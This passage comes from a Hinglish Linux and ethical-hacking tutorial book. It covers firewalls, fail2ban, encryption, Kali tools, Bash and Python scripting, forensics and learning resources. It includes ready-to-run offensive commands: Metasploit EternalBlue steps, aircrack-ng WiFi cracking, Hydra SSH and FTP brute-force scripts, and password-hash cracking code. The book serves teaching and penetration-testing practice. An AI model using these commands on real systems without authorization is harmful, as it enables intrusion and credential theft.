- `-W 7` → **Password expire hone se 7 din pehle warning milegi**

✅ **1.3 System Logs Monitor Karna:**
Logs analyze karne ke liye:

```
- sudo tail -f /var/log/auth.log  # Authentication logs check karna
- sudo tail -f /var/log/syslog    # System logs monitor karna
```

---

2. Firewalls (iptables & UFW)

Firewall ka kaam network traffic ko filter karna hota hai, jo ki unauthorized access ko block karta hai.

2.1 Using `iptables` (Advanced Firewall)

`iptables` **ek powerful firewall tool hai jo network traffic ko filter aur block kar sakta hai.**

✅ **List All Rules:**

```
- sudo iptables -L -v
```

✅ **Incoming SSH Traffic (Port 22) Allow Karna:**

```
- sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
```

✅ **Block Specific IP Address:**

```
- sudo iptables -A INPUT -s 192.168.1.100 -j DROP
```

✅ **Save Firewall Rules (Persistent Banane ke liye):**

```
- sudo iptables-save > /etc/iptables.rules
```

2.2 Using `ufw` (Uncomplicated Firewall)

`ufw` **iptables ka ek easy version hai jo beginners ke liye useful hai.**

✅ **Enable Firewall:**

- `sudo ufw enable`

✅ **Check Firewall Status:**

- `sudo ufw status verbose`

✅ **Allow SSH:**

- `sudo ufw allow ssh`

✅ **Allow Web Server Ports (HTTP, HTTPS):**

- `sudo ufw allow 80/tcp`
- `sudo ufw allow 443/tcp`

✅ **Disable Firewall (Not Recommended):**

- `sudo ufw disable`

---

3. Brute-Force Attack Protection (`fail2ban`)

Agar aapke server pe brute-force attack ho raha hai, to `fail2ban` auto-block kar sakta hai.

3.1 Install `fail2ban`

- `sudo apt install fail2ban -y`

3.2 SSH Brute-Force Protection Enable Karna

- `sudo nano /etc/fail2ban/jail.local`

Aur isme yeh settings add karein:

```
- [sshd]
- enabled = true
- bantime = 600
- findtime = 600
- maxretry = 3
```

📌 **Explanation:**

- `bantime = 600` → **IP ko 600 seconds (10 minutes) ke liye ban karega**
- `findtime = 600` → **10 minutes ke andar agar 3 failed login attempts ho gaye**

- `maxretry = 3` → 3 baar password galat dalne par IP ban ho jayegi

✅ **Fail2Ban Restart Karna:**

```
- sudo systemctl restart fail2ban
```

✅ **Check Banned IPs:**

```
- sudo fail2ban-client status sshd
```

---

4. File Encryption (`gpg`, `openssl`)

✅ **4.1 `gpg` (GnuPG) – File Encryption Agar aap ek file encrypt karna chahte hain taaki sirf aap hi usko decrypt kar sakein, to `gpg` ka use karein.**

✅ **Encrypt File:**

```
- gpg -c secret.txt
```

🔐 **Yeh command `secret.txt` ko encrypt karke `secret.txt.gpg` banayegi.**

✅ **Decrypt File:**

```
- gpg secret.txt.gpg
```

✅ **4.2 `openssl` – Password-Protected File Encryption Agar aap file ko password-protect karna chahte hain, to `openssl` ka use karein.**

✅ **Encrypt File:**

```
- openssl enc -aes-256-cbc -salt -in myfile.txt -out
  myfile.txt.enc
```

💡 **Yeh command `myfile.txt` ko AES-256 encryption ke saath encrypt karegi.**

✅ **Decrypt File:**

```
- openssl enc -aes-256-cbc -d -in myfile.txt.enc -out myfile.txt
```

📌 Summary Table

Command	Purpose
`sudo ufw enable`	Firewall enable karna
`sudo ufw allow 22`	SSH allow karna
`sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT`	HTTP traffic allow karna
`sudo fail2ban-client status sshd`	Banned IPs check karna
`gpg -c file.txt`	File encrypt karna
`openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc`	File AES-256 se encrypt karna

Chapter 8: Kali Linux Tools Overview

Kali Linux ethical hacking aur penetration testing ke liye ek powerful Linux distribution hai. Isme pre-installed tools hote hain jo network scanning, password cracking, WiFi hacking, exploitation aur brute-force attacks ke liye use hote hain.

✅ Is Chapter Me Aap Seekhoge:

1. **Kali Linux Introduction**
2. **Kali Linux Me Tools Ka Use Kaise Karein?**
3. **Top Ethical Hacking Tools (nmap, metasploit, aircrack-ng, john, hydra)**

---

1. Kali Linux Introduction

✅ Kali Linux Kya Hai?
Kali Linux ek Debian-based Linux OS hai jo penetration testing, digital forensics, aur security auditing ke liye bana hai. Isme 600+ pre-installed tools hote hain jo ethical hackers aur security professionals use karte hain.

✅ Kali Linux Install Kaise Karein?
Agar aap Kali Linux install karna chahte hain, to yeh teen tareeke available hain:

1. **Kali ISO Download karke Install – Official Kali Linux Website se download karein.**
2. **Live Boot USB – Aap bootable USB bana ke directly run kar sakte hain.**
3. **Virtual Machine (VMWare ya VirtualBox) – Aap Kali Linux VM image use karke apne existing OS me run kar sakte hain.**

📌 Install hone ke baad, Kali update karne ke liye yeh command run karein:

- `sudo apt update && sudo apt full-upgrade -y`

---

2. Kali Linux Me Tools Ka Use Kaise Karein?

Kali Linux me tools CLI (Command Line Interface) aur GUI (Graphical User Interface) dono mode me available hain.

✅ **CLI Mode Me Tool Run Karna:**

```
- tool-name options
```

📌 **Example:**

```
- nmap -v 192.168.1.1  # Network scan karne ke liye
```

✅ **GUI Mode Me Tool Run Karna:**

- **Applications > Kali Linux > Tool Category me jaake tool open karein.**

---

3. Top Ethical Hacking Tools

🔎 3.1 Nmap – Network Scanning

✅ **Use: Network scanning aur active hosts detect karna.**
✅ **Install (Agar pre-installed nahi hai):**

```
- sudo apt install nmap -y
```

✅ **Basic Scan:**

```
- nmap 192.168.1.1
```

📌 **Explanation: Yeh command 192.168.1.1 ko scan karega aur open ports dikhayega.**

✅ **Aggressive Scan:**

```
- nmap -A 192.168.1.1
```

📌 **Advanced scanning ke liye: OS Detection, Services aur Scripts bhi dikhayega.**

✅ **Scan Entire Network:**

```
- nmap -sn 192.168.1.0/24
```

📌 **Yeh entire network scan karega aur active devices dikhayega.**

💣 3.2 Metasploit – Exploitation Framework

✅ **Use: Vulnerabilities find karna aur exploits run karna.**
✅ **Install (Agar pre-installed nahi hai):**

```
- sudo apt install metasploit-framework -y
```

✅ **Start Metasploit Console:**

```
- msfconsole
```

✅ **Search Exploits:**

```
- search exploit windows
```

📌 **Yeh command Windows ke liye available exploits dikhayegi.**

✅ **Exploit Use Karna (Example: Windows SMB Exploit)**

```
- use exploit/windows/smb/ms17_010_eternalblue
```

✅ **Target Set Karna:**

```
- set RHOSTS 192.168.1.100
- set LHOST 192.168.1.10
```

✅ **Exploit Run Karna:**

```
- exploit
```

📌 **Agar vulnerability present hai, to system hack ho jayega! 🚀**

📡 3.3 Aircrack-ng – WiFi Hacking

✅ **Use: WiFi networks sniff karna aur passwords crack karna.**
✅ **Install:**

```
- sudo apt install aircrack-ng -y
```

✅ **Monitor Mode Enable Karna:**

```
- sudo airmon-ng start wlan0
```

✅ **Nearby WiFi Networks Capture Karna:**

- `sudo airodump-ng wlan0mon`

✅ **Specific Network Capture (Example: Channel 6, BSSID - 00:11:22:33:44:55)**

- `sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon`

✅ **Captured Data Se Password Crack Karna:**

- `sudo aircrack-ng -b 00:11:22:33:44:55 -w wordlist.txt capture.cap`

📌 **Yeh command password crack karega agar correct wordlist use ki gayi ho!**

🔑 3.4 John The Ripper – Password Cracking

✅ **Use: Encrypted passwords crack karna.**
✅ **Install:**

- `sudo apt install john -y`

✅ **Hash File Se Password Crack Karna:**

- `john --wordlist=/usr/share/wordlists/rockyou.txt password-hash-file`

📌 **Yeh command common passwords se matching try karega.**

✅ **Available Hash Types Check Karna:**

- `john --list=formats`

✅ **Single Hash Crack Karna:**

- `john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`

🔓 3.5 Hydra – Brute Force Attack

✅ **Use: Login credentials brute-force karna.**
✅ **Install:**

- `sudo apt install hydra -y`

✅ **SSH Brute-Force Attack (Example: Target - 192.168.1.100, User - admin)**

- `hydra -l admin -P passwords.txt 192.168.1.100 ssh`

✅ **FTP Brute-Force Attack:**

- `hydra -l admin -P passwords.txt 192.168.1.100 ftp`

📌 **Agar password `passwords.txt` me mil gaya, to successful login ho jayega!**

📌 Summary Table

Tool	Purpose	Command
nmap	Network Scanning	`nmap -A 192.168.1.1`
metasploit	Exploitation	`msfconsole`
aircrack-ng	WiFi Hacking	`aircrack-ng -b <BSSID> -w wordlist.txt capture.cap`
john	Password Cracking	`john --wordlist=rockyou.txt password-hash-file`
hydra	Brute Force Attack	`hydra -l admin -P passwords.txt <IP> ssh`

Section 3: Deeper to Professional Level

Chapter 9: Bash Scripting Basics

Bash scripting Linux automation ka **sabse important part** hai. Bash scripts **tasks automate** karne, **repetitive commands** run karne aur **custom workflows** banane ke liye use hote hain.

✅ **Is Chapter Me Aap Seekhoge:**

1. **Bash scripting kya hota hai?**
2. **Bash script likhne ka basic structure**
3. **Variables, loops, conditions ka use**
4. **Functions aur file handling**
5. **Real-world examples**

---

1. Bash Scripting Kya Hota Hai?

Bash (Bourne Again SHell) ek **command-line shell** hai jo Linux me **default shell** hoti hai. **Bash scripts** ek tarah ke **text files** hote hain jo **multiple Linux commands** ko ek sequence me execute karte hain.

✅ **Ek simple Bash script ka example:**

```
- #!/bin/bash
  echo "Hello, World!"
```

📌 **Explanation:**

- `#!/bin/bash` – Ye shebang line **Bash interpreter** specify karti hai.
- `echo "Hello, World!"` – Screen par text print karega.

✅ **Script ko execute karne ke liye:**

```
- chmod +x script.sh  # Script ko executable banayein
  ./script.sh  # Script execute karein
```

---

2. Bash Script Likhn eKa Basic Structure

✅ **Ek simple Bash script ka format:**

```
#!/bin/bash
# Yeh ek simple script hai

# Variables define karna
name="Hacker"

# Output print karna
echo "Hello, $name!"
```

📌 Commands Explanation:

- # se start hone wali line comment hoti hai.
- name="Hacker" ek variable declaration hai.
- $name ka use variable ki value print karne ke liye hota hai.

---

3. Variables, Loops Aur Conditions

🟢 Variables

Variables data **store aur reuse** karne ke liye use hote hain.

✅ **Example:**

```
#!/bin/bash
myname="CyberX"
echo "Mera naam hai $myname"
```

🔄 Loops (For, While, Until)

Loops repetitive tasks ke liye use hote hain.

✅ **For Loop Example:**

```
#!/bin/bash
for i in {1..5}; do
    echo "Number: $i"
done
```

✅ **While Loop Example:**

```
#!/bin/bash
counter=1
while [ $counter -le 5 ]; do
    echo "Counter: $counter"
    ((counter++))
done
```

🛑 Conditions (If-Else, Case Statement)

Bash me **decision making** ke liye `if-else` aur `case` statements ka use hota hai.

✅ **If-Else Example:**

```
#!/bin/bash
echo "Enter a number: "
read num
if [ $num -gt 10 ]; then
    echo "Bada number hai!"
else
    echo "Chhota number hai!"
fi
```

✅ **Case Statement Example:**

```
#!/bin/bash
echo "Enter a choice (start/stop/restart):"
read action
case $action in
    start) echo "Service start ho rahi hai...";;
    stop) echo "Service band ho rahi hai...";;
    restart) echo "Service restart ho rahi hai...";;
    *) echo "Invalid choice!";;
esac
```

---

4. Functions Aur File Handling

📌 Functions (Reusable Code)

Functions **modular scripting** ke liye use hote hain.

✅ **Example:**

```
#!/bin/bash
greet() {
    echo "Hello, welcome to Linux scripting!"
}
greet  # Function call karna
```

📂 File Handling (Reading & Writing Files)

✅ **File Create Karna Aur Usme Data Write Karna:**

```
#!/bin/bash
echo "Hello, this is a test file" > myfile.txt
```

✅ **File Read Karna:**

```
#!/bin/bash
cat myfile.txt
```

✅ **File Append Karna:**

```
#!/bin/bash
echo "New line added" >> myfile.txt
```

---

5. Real-World Examples (Automation)

✅ Example 1: System Information Script

```
#!/bin/bash
echo "System Information:"
echo "Hostname: $(hostname)"
echo "Uptime: $(uptime -p)"
echo "Disk Usage: $(df -h / | awk 'NR==2 {print $5}')"
```

📌 **Yeh script system ka hostname, uptime aur disk usage show karegi.**

✅ Example 2: Automated Backup Script

```
#!/bin/bash
backup_dir="/backup"
mkdir -p $backup_dir
tar -czf $backup_dir/home_backup.tar.gz /home
echo "Backup complete!"
```

📌 **Yeh script `/home` directory ka backup `/backup` folder me store karegi.**

✅ Example 3: Automated Network Scanner

```
#!/bin/bash
echo "Enter network range (e.g. 192.168.1.0/24):"
read network
nmap -sn $network
```

📌 **Yeh script network me active devices scan karega.**

📌 Summary Table

Concept	Example
Variables	`name="Hacker"`
Loops	`for i in {1..5}; do echo $i; done`
Conditions	`if [ $num -gt 10 ]; then echo "Bada"; fi`
Functions	`greet() { echo "Hello"; }`
File Handling	`echo "Hello" > file.txt`

\

Chapter 10: Shell Scripting for Ethical Hacking

Bash scripting **ethical hacking** aur **penetration testing** me **automated attacks** aur **data analysis** ke liye kaafi powerful hota hai. **Shell scripts** ko use karke aap **network scanning**, **brute force attacks**, **log analysis**, aur even **custom exploits** bana sakte ho.

✅ **Is Chapter Me Aap Seekhoge:**

1. **Automated Network Scanning** (`nmap` scripting)
2. **Password Brute-Forcing Scripts**
3. **Log Analysis Automation**
4. **Custom Exploit Scripts**

---

1. Automated Network Scanning (Nmap Scripting)

Nmap ethical hacking aur **penetration testing** ka **ek must-have tool** hai. Shell scripting ke saath ise automate karna **time aur effort bachata hai**.

✅ **Example 1: Simple Nmap Scan Script**

```
#!/bin/bash
echo "Enter target IP or domain:"
read target
echo "Scanning $target..."
```

```
nmap -A -T4 $target
```

📌 **Ye script target IP/domain ka detailed scan karega.**

✅ **Example 2: Multiple IPs Scan Script**

```
#!/bin/bash
echo "Enter file name containing target IPs:"
read file
echo "Scanning targets from $file..."
while read ip; do
    echo "Scanning $ip..."
    nmap -sV -p 80,443 $ip >> scan_results.txt
done < $file
echo "Scan completed. Results saved in scan_results.txt"
```

📌 **Yeh script multiple IPs ko scan karke result ek file me save karega.**

---

2. Password Brute-Forcing Scripts

Brute-force attacks automated scripts se easy ho jate hain. Yeh ethical hacking aur **penetration testing** ke liye useful hote hain.

✅ **Example: SSH Brute-Force Attack (Hydra + Bash)**

```
#!/bin/bash
echo "Enter target IP:"
read target
echo "Enter username:"
read user
echo "Enter password list file:"
read passlist
echo "Starting SSH brute-force attack..."
hydra -l $user -P $passlist ssh://$target
```

📌 **Yeh script Hydra tool ka use karke SSH credentials brute-force karega.**

---

3. Log Analysis Automation

Hacking aur forensics me **log files** analyze karna kaafi zaroori hota hai.

✅ **Example: Suspicious Login Attempts Find Karna**

```
#!/bin/bash
echo "Enter log file path:"
read logfile
echo "Finding failed SSH login attempts..."
grep "Failed password" $logfile | awk '{print $11}' | sort | uniq -c
| sort -nr
```

📌 **Yeh script SSH logs me failed login attempts detect karega.**

✅ **Example: Find Malicious IPs from Logs**

bash
CopyEdit

```
#!/bin/bash
echo "Analyzing access logs..."
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort
-nr | head -10
```

📌 **Yeh script sabse zyada requests bhejne wale IPs ko detect karega.**

---

4. Custom Exploit Scripts

✅ **Example: Local Privilege Escalation Check**

bash
CopyEdit

```
#!/bin/bash
echo "Checking for SUID binaries..."
find / -perm -4000 2>/dev/null
```

📌 **Yeh script system me SUID binaries ko check karega jo privilege escalation ke liye use ho sakti hain.**

📌 Summary Table

Concept	Example Command
Nmap Automation	`nmap -A -T4 target_ip`
Brute-Force Attack	`hydra -l user -P passlist ssh://target_ip`
Log Analysis	`grep "Failed password" auth.log`
Privilege Escalation Check	`find / -perm -4000`

Chapter 11: Python Scripting for Linux & Hacking

Python **automation aur ethical hacking** ke liye ek powerful language hai. Linux me **system management**, **network scanning**, **password cracking**, aur **web scraping** ke liye Python scripts kaafi useful hote hain.

✅ **Is Chapter Me Aap Seekhoge:**

1. **Python Scripting Basics (os, subprocess, shutil)**
2. **File Handling & Automation**
3. **Port Scanning (socket, scapy)**
4. **Password Cracking (hashlib, itertools)**
5. **Web Scraping (requests, BeautifulSoup)**
6. **API Interaction & Automation**

---

1. Python Scripting Basics (os, subprocess, shutil)

Python ke built-in **os, subprocess, shutil** modules ka use karke aap **Linux ke system tasks automate** kar sakte ho.

✅ **Example: System Information Fetch Karna**

```
import os
os.system("uname -a")  # System info print karega
os.system("df -h")  # Disk usage dikhayega
```

✅ **Example: Command Execution with subprocess**

```
import subprocess
```

```
output = subprocess.run(["ls", "-l"], capture_output=True,
text=True)
print(output.stdout)
```

📌 **Yeh script `ls -l` command ko Python se execute karega.**

---

2. File Handling & Automation

✅ **Example: Multiple Files Create Karna**

```
for i in range(1, 6):
    with open(f"file_{i}.txt", "w") as f:
        f.write("This is file number " + str(i))
```

📌 **Yeh script ek loop me 5 files create karega.**

✅ **Example: Directory Copy Karna (shutil module)**

```
import shutil
shutil.copytree("source_folder", "backup_folder")
```

📌 **Yeh script ek folder ka backup banayega.**

---

3. Port Scanning (socket, scapy)

Port scanning ethical hacking ka ek **basic step** hota hai.

✅ **Example: Simple Port Scanner**

```
import socket

target = "192.168.1.1"
ports = [21, 22, 80, 443]

for port in ports:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = s.connect_ex((target, port))
    if result == 0:
```

```
        print(f"Port {port} is open")
    s.close()
```

📌 **Yeh script given IP ke common ports ko scan karega.**

✅ **Example: Advanced Port Scanner (Scapy)**

```
from scapy.all import *

def scan(target):
    ans, _ = sr(IP(dst=target)/TCP(dport=[21,22,80,443], flags="S"),
timeout=1, verbose=0)
    for sent, received in ans:
        print(f"Port {sent.dport} is open")

scan("192.168.1.1")
```

📌 **Yeh script Scapy ka use karke TCP SYN scan karega.**

---

4. Password Cracking (hashlib, itertools)

Brute-force password cracking ethical hacking ka ek **important part** hai.

✅ **Example: MD5 Hash Crack Karna**

```
import hashlib

hash_to_crack = "5f4dcc3b5aa765d61d8327deb882cf99"  # md5 hash of
"password"
wordlist = ["123456", "password", "admin", "letmein"]

for word in wordlist:
    if hashlib.md5(word.encode()).hexdigest() == hash_to_crack:
        print(f"Password found: {word}")
        break
```

📌 **Yeh script MD5 hash ka brute-force attack karega.**

✅ **Example: Dictionary Attack with itertools**

```
import itertools

chars = "12345abc"
for password in itertools.product(chars, repeat=4):
    print("".join(password))
```

📌 **Yeh script 4-character ke saare possible passwords generate karega.**

---

5. Web Scraping (requests, BeautifulSoup)

Web scraping ethical hacking me **data gathering aur information extraction** ke liye use hota hai.

✅ **Example: Extracting Website Titles**

```
import requests
from bs4 import BeautifulSoup

url = "https://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, "html.parser")

print("Website Title:", soup.title.text)
```

📌 **Yeh script kisi website ka title scrape karega.**

✅ **Example: Extracting All Links from a Webpage**

```
for link in soup.find_all("a"):
    print(link.get("href"))
```

📌 **Yeh script webpage ke saare links extract karega.**

---

6. API Interaction & Automation

Python ka use karke aap APIs se interact kar sakte ho.

✅ **Example: IP Geolocation API Call**

```
import requests

ip = "8.8.8.8"
response = requests.get(f"https://ipinfo.io/{ip}/json")
print(response.json())
```

📌 **Yeh script kisi IP ka location data retrieve karega.**

✅ **Example: Automating Telegram Bot Messages**

```
TOKEN = "your_bot_token"
chat_id = "your_chat_id"
message = "Hello from Python!"

requests.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text={message}")
```

📌 **Yeh script Telegram bot ke through message bhejega.**

📌 Summary Table

Concept	Example Command
Run Linux Commands	`subprocess.run(["ls", "-l"])`
Port Scanning	`socket.connect_ex((target, port))`
Password Cracking	`hashlib.md5(word.encode()).hexdigest()`
Web Scraping	`requests.get(url)`
API Interaction	`requests.get("https://ipinfo.io/json")`

Chapter 12: Linux Forensics

✅ **Is Chapter Me Aap Seekhoge:**

1. **Linux Forensics Kya Hota Hai?**
2. **Forensic Tools aur Unka Use**
3. **Memory Analysis (Volatility)**
4. **Log File Analysis (logwatch, grep)**
5. **Deleted File Recovery (testdisk, photorec)**

Linux forensics ka use **cybercrime investigations, security audits, aur data recovery** ke liye hota hai. **Forensic analysts** ko system ki state, memory dumps, logs, aur deleted files analyze karni hoti hai.

---

1. Linux Forensics Kya Hota Hai?

Linux Forensics ek **process hai jisme system logs, memory dumps, aur deleted files ko analyze** karke pata lagaya jata hai ki kisi attack ya unauthorized activity kaise hui.

✅ **Main Areas of Linux Forensics:**

1. **Disk Forensics** – Deleted files recover karna
2. **Memory Forensics** – RAM ka analysis
3. **Log Analysis** – System logs check karna
4. **Network Forensics** – Network traffic ka analysis

---

2. Linux Forensic Tools aur Unka Use

Tool	Purpose
`volatility`	RAM dump ka analysis
`logwatch`	System logs analyze karna
`grep`	Specific log entries filter karna
`testdisk`	Deleted partitions recover karna
`photorec`	Deleted files aur images recover karna
`foremost`	File carving aur recovery
`wireshark`	Network forensics

---

3. Memory Analysis (Volatility Framework)

Volatility ek **powerful forensic tool hai jo RAM dumps ka analysis** karta hai.

✅ **RAM Dump Create Karna**

```
- sudo dd if=/dev/mem of=/root/memory_dump.img bs=1M
```

📌 **Yeh command system ki memory ka ek dump file banayegi.**

✅ **Volatility Install Karnat**

```
- sudo apt install volatility
```

✅ **Running Process List Nikalna**

```
- volatility -f memory_dump.img --profile=Linux pslist
```

📌 **Yeh script memory dump se running processes dikhayegi.**

✅ **Command History Nikalna**

```
- volatility -f memory_dump.img --profile=Linux bash_history
```

📌 **Attackers ne kya commands run ki, yeh check karne ke liye useful hai.**

---

4. Log File Analysis (logwatch, grep)

System logs forensic investigation me **sabse important** hote hain.

✅ **System Logs Check Karna**

```
- journalctl --since "1 hour ago"
```

📌 **Last 1 ghante ke system logs dikhayega.**

✅ **Unauthorized Login Attempts Check Karna**

```
- cat /var/log/auth.log | grep "Failed password"
```

📌 **Agar koi brute-force attack ho raha hai, to uska data yaha milega.**

✅ **Specific User Activity Track Karna**

```
- cat /var/log/auth.log | grep "username"
```

📌 **Ek specific user ka login aur command execution history dekhne ke liye.**

✅ **logwatch Install Karna & Use Karna**

```
- sudo apt install logwatch
  logwatch --detail high --mailto your@email.com
```

📌 **Yeh tool system ke logs ka summary report email pe bhejta hai.**

---

5. Deleted File Recovery (testdisk, photorec)

Deleted files recover karne ke liye **testdisk aur photorec** ka use hota hai.

✅ **testdisk Install Karna**

```
- sudo apt install testdisk
```

✅ **Deleted Partitions Recover Karna**

```
- sudo testdisk
```

📌 **TestDisk GUI khul jayega, jisme aap deleted partitions ko scan aur restore kar sakte ho.**

✅ **photorec Install Karna**

```
- sudo apt install photorec
```

✅ **Deleted Images aur Files Recover Karna**

```
- sudo photorec
```

📌 **Yeh tool deleted images aur files ko recover karta hai.**

✅ **foremost se Specific File Type Recover Karna**

```
foremost -t jpg,pdf,mp4 -i /dev/sdb1 -o recovered_files/
```

📌 **Is command se `/dev/sdb1` se JPG, PDF, aur MP4 files recover hongi.**

📌 Summary Table

Concept	Example Command
Memory Dump Create Karna	`dd if=/dev/mem of=/root/memory_dump.img`
Process List Nikalna (Volatility)	`volatility -f memory_dump.img --profile=Linux pslist`
Unauthorized Login Attempts	`grep "Failed password" /var/log/auth.log`
Deleted Files Recover (testdisk)	`sudo testdisk`
Deleted Images Recover (photorec)	`sudo photorec`

Chapter 13: Final Tips & Resources

✅ **Is Chapter Me Aap Seekhoge:**

1. **Best Online Resources**
2. **Advanced Learning Roadmap**
3. **Real-World Linux Applications**

---

1. Best Online Resources

Agar aap Linux ko **aur deeply samajhna** chahte ho, to ye **best resources** aapke kaam aayenge:

📌 **Free Linux Learning Websites:**

- Linux Journey – Interactive Linux learning
- The Linux Command Line – Beginner to Advanced Guide
- OverTheWire (Bandit) – Linux CTF challenges
- Exploit-DB – Hacking aur exploits ka database

📌 **Best YouTube Channels for Linux:**

- **NetworkChuck** – Linux, hacking, cybersecurity
- **Mental Outlaw** – Privacy-focused Linux content
- **DistroTube** – Linux customization & productivity
- **Tinkernut** – Ethical hacking tutorials

📌 **Best Books for Linux:**

1. **"The Linux Command Line"** – William Shotts
2. **"Linux Basics for Hackers"** – OccupyTheWeb
3. **"UNIX and Linux System Administration Handbook"**

📌 **Forums & Communities:**

- **r/linux** (Reddit)
- **LinuxQuestions.org**
- **ArchWiki** (Even if you don't use Arch, it has amazing documentation!)

---

2. Advanced Learning Roadmap

Agar aapne **is book me sab kuch seekh liya**, to aap **intermediate to advanced** Linux user ban chuke ho. Ab aapko **next level ka roadmap** follow karna chahiye:

✅ 1. Linux System Administration Seekho

- Users, Groups, File Permissions ko deeply samjho
- Systemd aur process management me expert bano
- Bash aur Python scripting ko aur improve karo

✅ 2. Networking & Security Master Karo

- Firewall aur security tools seekho (iptables, ufw)
- SSH aur VPN ka proper use samjho
- Ethical hacking aur penetration testing practice karo

✅ 3. Linux Certifications Lo (For Jobs & Career Growth)
Agar aap **Linux me job dhundh rahe ho**, to ye **certifications kaafi valuable hain:**

- **CompTIA Linux+** – Beginner level certification
- **LPIC-1 (Linux Professional Institute Certification)**
- **Red Hat Certified System Administrator (RHCSA)** – Best for System Admins
- **Certified Ethical Hacker (CEH)** – Hacking aur cybersecurity ke liye

✅ 4. Cybersecurity, Hacking & Automation Seekho
Agar aap **hacker, security analyst, ya DevOps engineer** banna chahte ho, to:

- Ethical hacking ke **real-world tools (Metasploit, Nmap, Wireshark)** use karo
- Python aur Bash scripting se **automated security tools banao**
- Digital Forensics me expert bano (Volatility, Autopsy, Sleuth Kit)

---

3. Real-World Linux Applications

✅ 1. Ethical Hacking & Penetration Testing

- Kali Linux aur Parrot OS ethical hacking ke liye use hote hain
- Penetration testers **Metasploit, Nmap, Hydra, John the Ripper** use karte hain

✅ 2. Cloud Computing & DevOps

- **AWS, Azure, Google Cloud** Linux-based environments use karte hain
- DevOps Engineers **Docker, Kubernetes, Ansible** seekhte hain

✅ **3. Linux System Administration & Networking**

- Large companies ke **servers Linux par hi chalte hain**
- **Nginx, Apache, MySQL, PostgreSQL** jaise tools **system administrators** ke liye important hain

✅ **4. Digital Forensics & Incident Response (DFIR)**

- **Security professionals** ko log analysis, memory analysis, aur forensics seekhna padta hai
- **Volatility, Sleuth Kit, Wireshark** forensic analysis ke liye use hote hain

---

📌 Conclusion

✅ **Aapne is book se kya seekha?**

- Linux commands (Beginner to Professional level)
- Ethical hacking aur penetration testing
- Bash & Python scripting
- Linux security aur forensic investigation

✅ **Next Steps:**

- **Practice, practice, aur practice!**
- **Online challenges solve karo** (TryHackMe, Hack The Box)
- **Linux-based projects banao** (Custom scripts, automation tools)
- **Certifications lo aur career grow karo**

📌 Appendix: Quick Reference Sheet

✅ **Important Linux Commands:**

Command	Purpose
`ls -l`	Files aur directories list karega
`pwd`	Current working directory dikhayega
`chmod 777 file.txt`	File permissions change karega
`tar -xvf archive.tar`	Tar archive extract karega
`ps aux`	Running processes dikhayega
`netstat -tulnp`	Active network connections dekho
`iptables -L`	Firewall rules dekho

✅ **Useful Scripts & Tools:**

- **Automated nmap scanning script**
- **Brute-force attack automation (Hydra)**
- **System log monitoring script (Logwatch)**